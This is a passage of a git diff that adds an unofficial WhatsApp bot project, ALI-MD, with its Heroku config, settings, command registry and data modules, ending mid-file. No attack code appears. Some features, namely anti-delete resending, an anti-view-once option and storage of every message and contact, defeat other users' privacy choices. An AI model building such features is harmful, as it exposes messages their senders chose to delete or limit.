diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..3c3629e647f5ddf82548912e337bea9826b434af --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +node_modules diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000000000000000000000000000000000000..261eeb9e9f8b2b4b0d119366dda99c6fd7d35c64 --- /dev/null +++ b/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000000000000000000000000000000000000..034e848032092eaf8ef96eac731b6ed5961987f3 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,21 @@ +# Security Policy + +## Supported Versions + +Use this section to tell people about which versions of your project are +currently being supported with security updates. + +| Version | Supported | +| ------- | ------------------ | +| 5.1.x | :white_check_mark: | +| 5.0.x | :x: | +| 4.0.x | :white_check_mark: | +| < 4.0 | :x: | + +## Reporting a Vulnerability + +Use this section to tell people how to report a vulnerability. + +Tell them where to go, how often they can expect to get an update on a +reported vulnerability, what to expect if the vulnerability is accepted or +declined, etc. diff --git a/app.json b/app.json new file mode 100644 index 0000000000000000000000000000000000000000..e911ec89a33c12d9bd8b82e584e8ea30a114ede7 --- /dev/null +++ b/app.json @@ -0,0 +1,204 @@ +{ + "name": "ALI-MD", + "description": "Javascript WhatsApp bot made by ali", + "logo": "https://files.catbox.moe/6ku0eo.jpg", + "keywords": ["ALI-MD"], + "success_url": "/", + + "stack": "container", + "env": { + "SESSION_ID": { + "description": "Put the session-id here.", + "required": true, + "value": "" + }, + + "ANTI_CALL": { + "description": "Make it true if you want bot auto call rejected.", + "required": false, + "value": "false" + + }, + + "STICKER_NAME": { + "description": "type your sticker pack name.", + "required": false, + "value": "๐“†ฉแ€ฏแชณ๐€ษญฤซฤซ ๐ŒฦŠแ€พแชณ๐“†ช" + }, + + "PREFIX": { + "description": "paste your bot prefix note! Don't apply null prefix.", + "required": false, + "value": "." + }, + + "MODE": { + "description": "select your bot work type public-private-inbox-group.", + "required": true, + "value": "public" + + }, + + "ALWAYS_ONLINE": { + "description": "Make it true if want always online.", + "required": false, + "value": "false" + }, + + "AUTO_VOICE": { + "description": "Make it true if want automatic voice reply .", + "required": false, + "value": "false" + }, + + "AUTO_REPLY": { + "description": "Make it true if you want automatic reply.", + "required": false, + "value": "false" + }, + + "ADMIN_STATUS": { + "description": "make it true if want know who promote or demote a member .", + "required": false, + "value": "false" + }, + + "WELCOME": { + "description": "make it true if want welcome message in groups.", + "required": false, + "value": "true" + }, + + "GOODBYE": { + "description": "make it true if want goodbye message in groups.", + "required": false, + "value": "false" + }, + + "AUTO_STICKER": { + "description": "Make it true if you want automatic sticker.", + "required": false, + "value": "false" + }, + + "AUTO_STATUS_SEEN": { + "description": "Make it true for automatic status seen.", + "required": true, + "value": "true" + }, + + "MENTION_REPLY": { + "description": "make it true if want mention reply if someone menetion you.", + "required": false, + "value": "false" + }, + + "AUTO_STATUS_REACT": { + "description": "make it true for automatic status reaction or like.", + "required": true, + "value": "true" + }, + + "AUTO_STATUS_REPLY": { + "description": "Make it true for auto reply msg on status seen.", + "required": false, + "value": "false" + }, + + "AUTO_STATUS_MSG": { + "description": "Type custom message on status reply", + "required": true, + "value": "*SEEN YOUR STATUS JUST NOW ALI-MD ๐Ÿ’*" + + }, + + "BOT_NAME": { + "description": "Type here the bot name.", + "required": false, + "value": "๐“†ฉแ€ฏแชณ๐€ษญฤซฤซ ๐ŒฦŠแ€พแชณ๐“†ช" + + }, + + "ALIVE_IMG": { + "description": "put here the bot Menu url if you don't have you can use this public url.", + "required": true, + "value": "https://files.catbox.moe/6ku0eo.jpg" + }, + + "DELETE_LINK": { + "description": "Make it true if you want bot auto delete group link.", + "required": false, + "value": "false" + }, + + "ANTI_LINK": { + "description": "Make it true if you want bot auto wearing group link.", + "required": false, + "value": "false" + }, + + "ANTI_BAD_WORD": { + "description": "Make it true if you want bot auto delete bad words.", + "required": false, + "value": "false" + }, + + "AUTO_RECORDING": { + "description": "Make it true if you want auto recoding.", + "required": false, + "value": "false" + }, + + "AUTO_TYPING": { + "description": "Make it true if you want auto typing.", + "required": false, + "value": "false" + }, + + "AUTO_REACT": { + "description": "Make it true if you want react on every message.", + "required": false, + "value": "false" + }, + + "OWNER_REACT": { + "description": "Make it true if you want react on bot number.", + "required": false, + "value": "false" + }, + + "CUSTOM_REACT": { + "description": "Make it true if you want custom reactions.", + "required": false, + "value": "false" + + }, + + "CUSTOM_REACT_EMOJIS": { + "description": "put here custom react react emojis.", + "required": false, + "value": "๐Ÿ’,๐Ÿ’–,๐Ÿ’—,โค๏ธโ€๐Ÿฉน,โค๏ธ,๐Ÿงก,๐Ÿ’›,๐Ÿ’š,๐Ÿ’™,๐Ÿ’œ,๐ŸคŽ,๐Ÿ–ค,๐Ÿค" + }, + + "ANTI_DEL_PATH": { + "description": "if you want true make it your bot number .antidelete on", + "required": false, + "value": "log" + }, + + "READ_MESSAGE": { + "description": "Make it true if you want bot read your all sms just now.", + "required": false, + "value": "false" + } + +}, + + "buildpacks": [ + { + "url": "https://github.com/heroku/heroku-buildpack-nodejs.git" + } + ], + "stack": "heroku-24" +} + diff --git a/command.js b/command.js new file mode 100644 index 0000000000000000000000000000000000000000..422515231b90bd1b2d4f804d0db4f355d260b66d --- /dev/null +++ b/command.js @@ -0,0 +1,22 @@ +var commands = []; + +function cmd(info, func) { + var data = info; + data.function = func; + if (!data.dontAddCommandList) data.dontAddCommandList = false; + if (!info.desc) info.desc = ''; + if (!data.fromMe) data.fromMe = false; + if (!info.category) data.category = 'misc'; + if(!info.filename) data.filename = "Not Provided"; + commands.push(data); + return data; +} +module.exports = { + cmd, + AddCommand:cmd, + Function:cmd, + Module:cmd, + commands, +}; + + diff --git a/config.js b/config.js new file mode 100644 index 0000000000000000000000000000000000000000..4a2c615b3936c0bf3e83a7f07975ac7947a7e832 --- /dev/null +++ b/config.js @@ -0,0 +1,91 @@ +const fs = require('fs'); +if (fs.existsSync('config.env')) require('dotenv').config({ path: './config.env' }); + +function convertToBool(text, fault = 'true') { + return text === fault ? true : false; +} +module.exports = { +SESSION_ID: process.env.SESSION_ID || "", +// add your Session Id +AUTO_STATUS_SEEN: process.env.AUTO_STATUS_SEEN || "true", +// make true or false status auto seen +AUTO_STATUS_REPLY: process.env.AUTO_STATUS_REPLY || "true", +// make true if you want auto reply on status +AUTO_STATUS_REACT: process.env.AUTO_STATUS_REACT || "true", +// make true if you want auto reply on status +AUTO_STATUS_MSG: process.env.AUTO_STATUS_MSG || "*SEEN YOUR STATUS JUST NOW ALI-MD ๐Ÿ‘ป*", +// set the auto reply massage on status reply +PREFIX: process.env.PREFIX || ".", +// add your prifix for bot +BOT_NAME: process.env.BOT_NAME || "ALI-MD", +// add bot namw here for menu +STICKER_NAME: process.env.STICKER_NAME || "ALI-MD", +// type sticker pack name +CUSTOM_REACT: process.env.CUSTOM_REACT || "false", +// make this true for custum emoji react +CUSTOM_REACT_EMOJIS: process.env.CUSTOM_REACT_EMOJIS || "๐Ÿ’,๐Ÿ’–,๐Ÿ’—,โค๏ธโ€๐Ÿฉน,โค๏ธ,๐Ÿงก,๐Ÿ’›,๐Ÿ’š,๐Ÿ’™,๐Ÿ’œ,๐ŸคŽ,๐Ÿ–ค,๐Ÿค", +// chose custom react emojis by yourself +DELETE_LINKS: process.env.DELETE_LINKS || "false", +// automatic delete links witho remove member +OWNER_NUMBER: process.env.OWNER_NUMBER || "923003588997", +// add your bot owner number +OWNER_NAME: process.env.OWNER_NAME || "ALI", +// add bot owner name +OWNER_REACT: process.env.OWNER_REACT || "false", +// make this true or false for auto react on all msgs +WELCOME: process.env.WELCOME || "true", +// true if want welcome msg in groups +GOODBYE: process.env.GOODBYE || "true", +// true if want goodbye msg in groups +ADMIN_STATUS: process.env.ADMIN_STATUS || "false", +// make true to know who dismiss or promoted a member in group +ALWAYS_ONLINE: process.env.ALWAYS_ONLINE || "false", +// maks true for always online +MENTION_REPLY: process.env.MENTION_REPLY || "false", +// maks true for always online +ANTI_CALL: process.env.ANTI_CALL || "true", +//maks anticall true, false for calls +REJECT_MSG: process.env.REJECT_MSG || "*๐Ÿ“ž แด„ฮฑโ„“โ„“ ษดฯƒั‚ ฮฑโ„“โ„“ฯƒฯ‰ั”โˆ‚ ฮนษด ั‚ะฝฮนั• ษดแดœะผะฒั”ส€ ัƒฯƒฯ… โˆ‚ฯƒษดั‚ ะฝฮฑฮฝั” แด˜ั”ส€ะผฮนั•ั•ฮนฯƒษด ๐Ÿ“ต*", +// add anticall message +DESCRIPTION: process.env.DESCRIPTION || "*ยฉ แด˜ฯƒฯ‰ั”ส€ั”โˆ‚ ะฒัƒ ฮฑโ„“ฮน ะผโˆ‚โŽฏ๊ฏญฬฝ๐Ÿ’€*", +// add bot owner name +ALIVE_IMG: process.env.ALIVE_IMG || "https://cdn.ironman.my.id/i/2du3i5.jpg", +// add img for alive msg +LIVE_MSG: process.env.LIVE_MSG || "> HEY ๐Ÿ‘‹ IM ALIVE NOW*โšก", +// add alive msg here +READ_MESSAGE: process.env.READ_MESSAGE || "false", +// Turn true or false for automatic read msgs +AUTO_REACT: process.env.AUTO_REACT || "false", +// make this true or false for auto react on all msgs +ANTI_BAD_WORD: process.env.ANTI_BAD_WORD || "true", +// false or true for anti bad words +MODE: process.env.MODE || "public", +// make bot public-private-inbox-group +DELETE_LINK: process.env.DELETE_LINK || "true", +// make anti link true,false for groups +ANTI_LINK: process.env.ANTI_LINK || "true", +// make anti link true,false for groups +AUTO_VOICE: process.env.AUTO_VOICE || "false", +// make true for send automatic voices +AUTO_STICKER: process.env.AUTO_STICKER || "false", +// make true for automatic stickers +AUTO_REPLY: process.env.AUTO_REPLY || "false", +// make true or false automatic text reply +ALWAYS_ONLINE: process.env.ALWAYS_ONLINE || "false", +// maks true for always online +PUBLIC_MODE: process.env.PUBLIC_MODE || "true", +// make false if want private mod +AUTO_TYPING: process.env.AUTO_TYPING || "false", +// true for automatic show typing +READ_CMD: process.env.READ_CMD || "false", +// true if want mark commands as read +DEV: process.env.DEV || "923003588997", +//replace with your whatsapp number +ANTI_VV: process.env.ANTI_VV || "true", +// true for anti once view +ANTI_DEL_PATH: process.env.ANTI_DEL_PATH || "log", +// change it to 'same' if you want to resend deleted message in same chat +AUTO_RECORDING: process.env.AUTO_RECORDING || "false" +// make it true for auto recoding +}; + diff --git a/data/antidel.js b/data/antidel.js new file mode 100644 index 0000000000000000000000000000000000000000..dcdac8fcec600b266f5defd74b869154ad38b267 --- /dev/null +++ b/data/antidel.js @@ -0,0 +1,88 @@ +const { DATABASE } = require('../lib/database'); +const { DataTypes } = require('sequelize'); + +const AntiDelDB = DATABASE.define('AntiDelete', { + id: { + type: DataTypes.INTEGER, + primaryKey: true, + autoIncrement: false, + defaultValue: 1, + }, + gc_status: { + type: DataTypes.BOOLEAN, + defaultValue: false, + }, + dm_status: { + type: DataTypes.BOOLEAN, + defaultValue: false, + }, +}, { + tableName: 'antidelete', + timestamps: false, + hooks: { + beforeCreate: record => { record.id = 1; }, + beforeBulkCreate: records => { records.forEach(record => { record.id = 1; }); }, + }, +}); + +let isInitialized = false; + +async function initializeAntiDeleteSettings() { + if (isInitialized) return; + try { + await AntiDelDB.sync(); + await AntiDelDB.findOrCreate({ + where: { id: 1 }, + defaults: { gc_status: false, dm_status: false }, + }); + isInitialized = true; + } catch (error) { + console.error('Error initializing anti-delete settings:', error); + } +} + +async function setAnti(type, status) { + try { + await initializeAntiDeleteSettings(); + const record = await AntiDelDB.findByPk(1); + if (type === 'gc') record.gc_status = status; + else if (type === 'dm') record.dm_status = status; + await record.save(); + return true; + } catch (error) { + console.error('Error setting anti-delete status:', error); + return false; + } +} + +async function getAnti(type) { + try { + await initializeAntiDeleteSettings(); + const record = await AntiDelDB.findByPk(1); + return type === 'gc' ? record.gc_status : record.dm_status; + } catch (error) { + console.error('Error getting anti-delete status:', error); + return false; + } +} + +async function getAllAntiDeleteSettings() { + try { + await initializeAntiDeleteSettings(); + const record = await AntiDelDB.findByPk(1); + return [{ gc_status: record.gc_status, dm_status: record.dm_status }]; + } catch (error) { + console.error('Error retrieving all anti-delete settings:', error); + return []; + } +} + +module.exports = { + AntiDelDB, + initializeAntiDeleteSettings, + setAnti, + getAnti, + getAllAntiDeleteSettings, +}; + +// by jawadtechx \ No newline at end of file diff --git a/data/autoreply.json b/data/autoreply.json new file mode 100644 index 0000000000000000000000000000000000000000..e295e9e28c9787015c438635acd593c396b2b5ae --- /dev/null +++ b/data/autoreply.json @@ -0,0 +1,11 @@ +{ +"Hello":"*`ยฐ๐‡๐„๐˜ ๐‡๐Ž๐– ๐€๐‘๐„ ๐˜๐Ž๐”`๐Ÿ‘€โ˜บ๏ธ*", +"Ali":"*`ยฐ๐˜๐„๐€๐‡ ๐€๐‹๐ˆ ๐ˆ๐’ ๐‡๐„๐‘๐„`โ™ฅ๏ธ๐Ÿ˜‡*", +"Jan":"*`ยฐ๐˜๐„๐€๐‡ ๐‰๐€๐`๐Ÿ‘€๐Ÿ’—*", +"ok":"*`ยฐ๐‡๐Œ๐Œ`๐Ÿ˜‡โ™ฅ๏ธ*", +"Okey":"*`ยฐ๐€๐‡๐Œ๐Œ`๐Ÿซ ๐ŸŒธ*", +"hhhhpo":"*`ยฐ๐–๐Ž๐–...๐‡๐€๐‚๐Š๐„๐‘`โ˜ ๏ธ๐Ÿคก*", +"Bye":"*`ยฐ๐๐˜๐„ ๐“๐€๐Š๐„ ๐‚๐€๐‘๐„`โ™ฅ๏ธ๐Ÿ˜Š*", +"Good morning":"*`ยฐ๐€๐’๐’๐‹๐€๐Œ ๐” ๐€๐‹๐€๐ˆ๐Š๐”๐Œ`๐Ÿ’ซโ™ฅ๏ธ*", +"Good Night":"*`ยฐ๐†๐Ž๐Ž๐ƒ ๐๐ˆ๐†๐‡๐“`๐ŸŒ‰๐Ÿ’ค*" +} diff --git a/data/autosticker.json b/data/autosticker.json new file mode 100644 index 0000000000000000000000000000000000000000..ee135a6ce5e1219dbc18f8c4f11edac7924498a0 --- /dev/null +++ b/data/autosticker.json @@ -0,0 +1,7 @@ +{ +"bye":"https://i.ibb.co/FLR9rffH/bt.webp", +"love":"https://i.ibb.co/B5PhQ2qN/bt.webp", +"Ali":"https://i.ibb.co/TxXjg8Hc/bt.webp", +"hello":"https://i.ibb.co/0j7wdxXF/bt.webp", +"hi":"https://i.ibb.co/C334q3r4/bt.webp" +} diff --git a/data/autovoice.json b/data/autovoice.json new file mode 100644 index 0000000000000000000000000000000000000000..66809971dd02e38b1fd4de8158daf490958020a1 --- /dev/null +++ b/data/autovoice.json @@ -0,0 +1,32 @@ +{ +".menu":"https://github.com/SILENTLOVER40/SOBX-MD_DATABASE/raw/refs/heads/main/autovoice/PTT-20241110-WA0033.m4a", +".list":"https://github.com/SILENTLOVER40/SOBX-MD_DATABASE/raw/refs/heads/main/autovoice/PTT-20241110-WA0033.m4a", +".alive":"https://github.com/SILENTLOVER40/SOBX-MD_DATABASE/raw/refs/heads/main/autovoice/AUD-20241110-WA0009.m4a", +"hi":"https://github.com/SILENTLOVER40/SOBX-MD_DATABASE/raw/refs/heads/main/autovoice/AUD-20241110-WA0009.m4a", +"hello":"https://github.com/SILENTLOVER40/SOBX-MD_DATABASE/raw/refs/heads/main/autovoice/AUD-20241110-WA0009.m4a", +"molning":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/good_morning.mp3", +"good morning":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/good_morning.mp3", +"night":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/good_night.mp3", +"good night":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/good_night.mp3", +"hm":"https://github.com/tharumin/Alexa_Voice/raw/refs/heads/main/hm.mp3", +"hmm":"https://github.com/tharumin/Alexa_Voice/raw/refs/heads/main/hm.mp3", +"aww":"https://github.com/tharumin/Alexa_Voice/raw/refs/heads/main/hm.mp3", +"oye":"https://github.com/tharumin/Alexa_Voice/raw/refs/heads/main/oya_kawada.mp3", +"ustad":"https://github.com/tharumin/Alexa_Voice/raw/refs/heads/main/oya_kawada.mp3", +"haha":"https://github.com/tharumin/Alexa_Voice/raw/refs/heads/main/oya_kawada.mp3", +"hehe":"https://github.com/VajiraTech/IZUMI-AUTO-VOICER/raw/main/Ponnaya(tbg).mp3", +"oka":"https://github.com/VajiraTech/IZUMI-AUTO-VOICER/raw/main/kawa.mp3", +"wow":"https://github.com/VajiraTech/IZUMI-AUTO-VOICER/raw/main/kellek%20oni.mp3", +"geo":"https://github.com/VajiraTech/IZUMI-AUTO-VOICER/raw/main/wesi(tbg).mp3", +"I love you":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/i_love_you.mp3", +"love":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/i_love_you.mp3", +"love you":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/i_love_you.mp3", +"ohh":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/i_love_you.mp3", +"dear":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/pakaya.mp3", +"Maniiw":"https://files.catbox.moe/jt9cse.mp3", +"sir":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/pakaya.mp3", +"Ali":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/pakaya.mp3", +"nice":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/pakaya.mp3", +"bye":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/pakaya.mp3", +"by":"https://github.com/sadiyamin/alexa-database/raw/refs/heads/main/Media/pakaya.mp3" +} diff --git a/data/converter.js b/data/converter.js new file mode 100644 index 0000000000000000000000000000000000000000..43b085f6d05393e3fa7d230cabe7a6edfd4411e5 --- /dev/null +++ b/data/converter.js @@ -0,0 +1,91 @@ +const fs = require('fs'); +const path = require('path'); +const ffmpegPath = require('@ffmpeg-installer/ffmpeg').path; +const { spawn } = require('child_process'); + +class AudioConverter { + constructor() { + this.tempDir = path.join(__dirname, '../temp'); + this.ensureTempDir(); + } + + ensureTempDir() { + if (!fs.existsSync(this.tempDir)) { + fs.mkdirSync(this.tempDir, { recursive: true }); + } + } + + async cleanFile(file) { + if (file && fs.existsSync(file)) { + await fs.promises.unlink(file).catch(() => {}); + } + } + + async convert(buffer, args, ext, ext2) { + const inputPath = path.join(this.tempDir, `${Date.now()}.${ext}`); + const outputPath = path.join(this.tempDir, `${Date.now()}.${ext2}`); + + try { + await fs.promises.writeFile(inputPath, buffer); + + return new Promise((resolve, reject) => { + const ffmpeg = spawn(ffmpegPath, [ + '-y', + '-i', inputPath, + ...args, + outputPath + ], { timeout: 30000 }); + + let errorOutput = ''; + ffmpeg.stderr.on('data', (data) => errorOutput += data.toString()); + + ffmpeg.on('close', async (code) => { + await this.cleanFile(inputPath); + + if (code !== 0) { + await this.cleanFile(outputPath); + return reject(new Error(`Conversion failed with code ${code}`)); + } + + try { + const result = await fs.promises.readFile(outputPath); + await this.cleanFile(outputPath); + resolve(result); + } catch (readError) { + reject(readError); + } + }); + + ffmpeg.on('error', (err) => { + reject(err); + }); + }); + } catch (err) { + await this.cleanFile(inputPath); + await this.cleanFile(outputPath); + throw err; + } + } + + toAudio(buffer, ext) { + return this.convert(buffer, [ + '-vn', + '-ac', '2', + '-b:a', '128k', + '-ar', '44100', + '-f', 'mp3' + ], ext, 'mp3'); + } + + toPTT(buffer, ext) { + return this.convert(buffer, [ + '-vn', + '-c:a', 'libopus', + '-b:a', '128k', + '-vbr', 'on', + '-compression_level', '10' + ], ext, 'opus'); + } +} + +module.exports = new AudioConverter(); diff --git a/data/index.js b/data/index.js new file mode 100644 index 0000000000000000000000000000000000000000..29abb1e26b4b7c47fe3ea65f0e4272b839a7007b --- /dev/null +++ b/data/index.js @@ -0,0 +1,36 @@ +const { AntiDelDB, + initializeAntiDeleteSettings, + setAnti, + getAnti, + getAllAntiDeleteSettings, } = require('./antidel'); +const { + saveContact, + loadMessage, + getName, + getChatSummary, + saveGroupMetadata, + getGroupMetadata, + saveMessageCount, + getInactiveGroupMembers, + getGroupMembersMessageCount, + saveMessage, +} = require('./store'); + + +module.exports = { + AntiDelDB, + initializeAntiDeleteSettings, + setAnti, + getAnti, + getAllAntiDeleteSettings, + saveContact, + loadMessage, + getName, + getChatSummary, + saveGroupMetadata, + getGroupMetadata, + saveMessageCount, + getInactiveGroupMembers, + getGroupMembersMessageCount, + saveMessage, +}; diff --git a/data/store.js b/data/store.js new file mode 100644 index 0000000000000000000000000000000000000000..03fccaa9e36bbf47f266fd294992732471590fcf --- /dev/null +++ b/data/store.js @@ -0,0 +1,217 @@ +const { isJidBroadcast, isJidGroup, isJidNewsletter } = require('@whiskeysockets/baileys'); +const fs = require('fs/promises') +const path = require('path') +const { DataTypes } = require('sequelize'); +const { DATABASE } = require('../lib/database'); +const storeDir = path.join(process.cwd(), 'store'); + +const readJSON = async (file) => { + try { + const filePath = path.join(storeDir, file); + const data = await fs.readFile(filePath, 'utf8'); + return JSON.parse(data); + } catch { + return []; + } +}; + +const writeJSON = async (file, data) => { + const filePath = path.join(storeDir, file); + await fs.mkdir(storeDir, { recursive: true }); + await fs.writeFile(filePath, JSON.stringify(data, null, 2)); +}; + +const saveContact = async (jid, name) => { + if (!jid || !name || isJidGroup(jid) || isJidBroadcast(jid) || isJidNewsletter(jid)) return; + const contacts = await readJSON('contact.json'); + const index = contacts.findIndex((contact) => contact.jid === jid); + if (index > -1) { + contacts[index].name = name; + } else { + contacts.push({ jid, name }); + } + await writeJSON('contact.json', contacts); +}; + +const getContacts = async () => { + try { + const contacts = await readJSON('contact.json'); + return contacts; + } catch (error) { + return []; + } +}; + +const saveMessage = async (message) => { + const jid = message.key.remoteJid; + const id = message.key.id; + if (!id || !jid || !message) return; + await saveContact(message.sender, message.pushName); + const messages = await readJSON('message.json'); + const index = messages.findIndex((msg) => msg.id === id && msg.jid === jid); + const timestamp = message.messageTimestamp ? message.messageTimestamp * 1000 : Date.now(); + if (index > -1) { + messages[index].message = message; + messages[index].timestamp = timestamp; + } else { + messages.push({ id, jid, message, timestamp }); + } + await writeJSON('message.json', messages); +}; + +const loadMessage = async (id) => { + if (!id) return null; + const messages = await readJSON('message.json'); + return messages.find((msg) => msg.id === id) || null; +}; + +const getName = async (jid) => { + const contacts = await readJSON('contact.json'); + const contact = contacts.find((contact) => contact.jid === jid); + return contact ? contact.name : jid.split('@')[0].replace(/_/g, ' '); +}; + +const saveGroupMetadata = async (jid, client) => { + if (!isJidGroup(jid)) return; + const groupMetadata = await client.groupMetadata(jid); + const metadata = { + jid: groupMetadata.id, + subject: groupMetadata.subject, + subjectOwner: groupMetadata.subjectOwner, + subjectTime: groupMetadata.subjectTime + ? new Date(groupMetadata.subjectTime * 1000).toISOString() + : null, + size: groupMetadata.size, + creation: groupMetadata.creation ? new Date(groupMetadata.creation * 1000).toISOString() : null, + 